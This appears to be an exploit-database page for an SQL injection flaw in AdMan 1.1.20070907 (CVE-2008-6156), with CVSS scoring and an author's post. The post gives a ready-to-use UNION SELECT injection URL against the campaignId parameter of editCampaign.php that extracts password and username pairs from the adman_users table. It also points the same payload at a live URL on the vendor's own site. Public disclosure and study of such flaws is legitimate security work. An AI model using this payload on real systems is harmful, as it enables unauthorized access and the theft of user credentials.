AdMan 1.1.20070907 (campaignId) SQL Injection Vulnerability

2009.02.19

Credit: SuB-ZeRo

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-6156

CWE: CWE-89

CVSS Base Score: 6.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8/10

Exploit range: Remote

Attack complexity: Low

Authentication: Single time

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

############### >>> Remote SQL Injection <<< ###########
## SuB-ZeRo(Walid) ##
################## >>> SuB-ZeRo <<< ################
author : SuB-ZeRo(algeria hackers)
contact : FbH@hotmail.com
buy script : http://www.formfields.com/adManArea/adManPricing.php
dork : find it
exploit:
www.site.me/editCampaign.php?campaignId=-2'+union+select+concat(password,0x3a,username)+from+adman_users/*
L!Ve DeMo :::
http://www.formfields.com/adManArea/adMan1/adMan/advertiser/editCampaign.php?campaignId=-2'+union+select+concat(password,0x3a,username)+from+adman_users/*
NoTe:YoU must singup and login in web sit and you put your exploit
########### Greetz #############
>>> SuB-ZeRo
>>>my best freinds :: x.CJP.X & ach2008 & carlos the jackel & HiSoK4
>>> all muslims

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

AdMan 1.1.20070907 (campaignId) SQL Injection Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.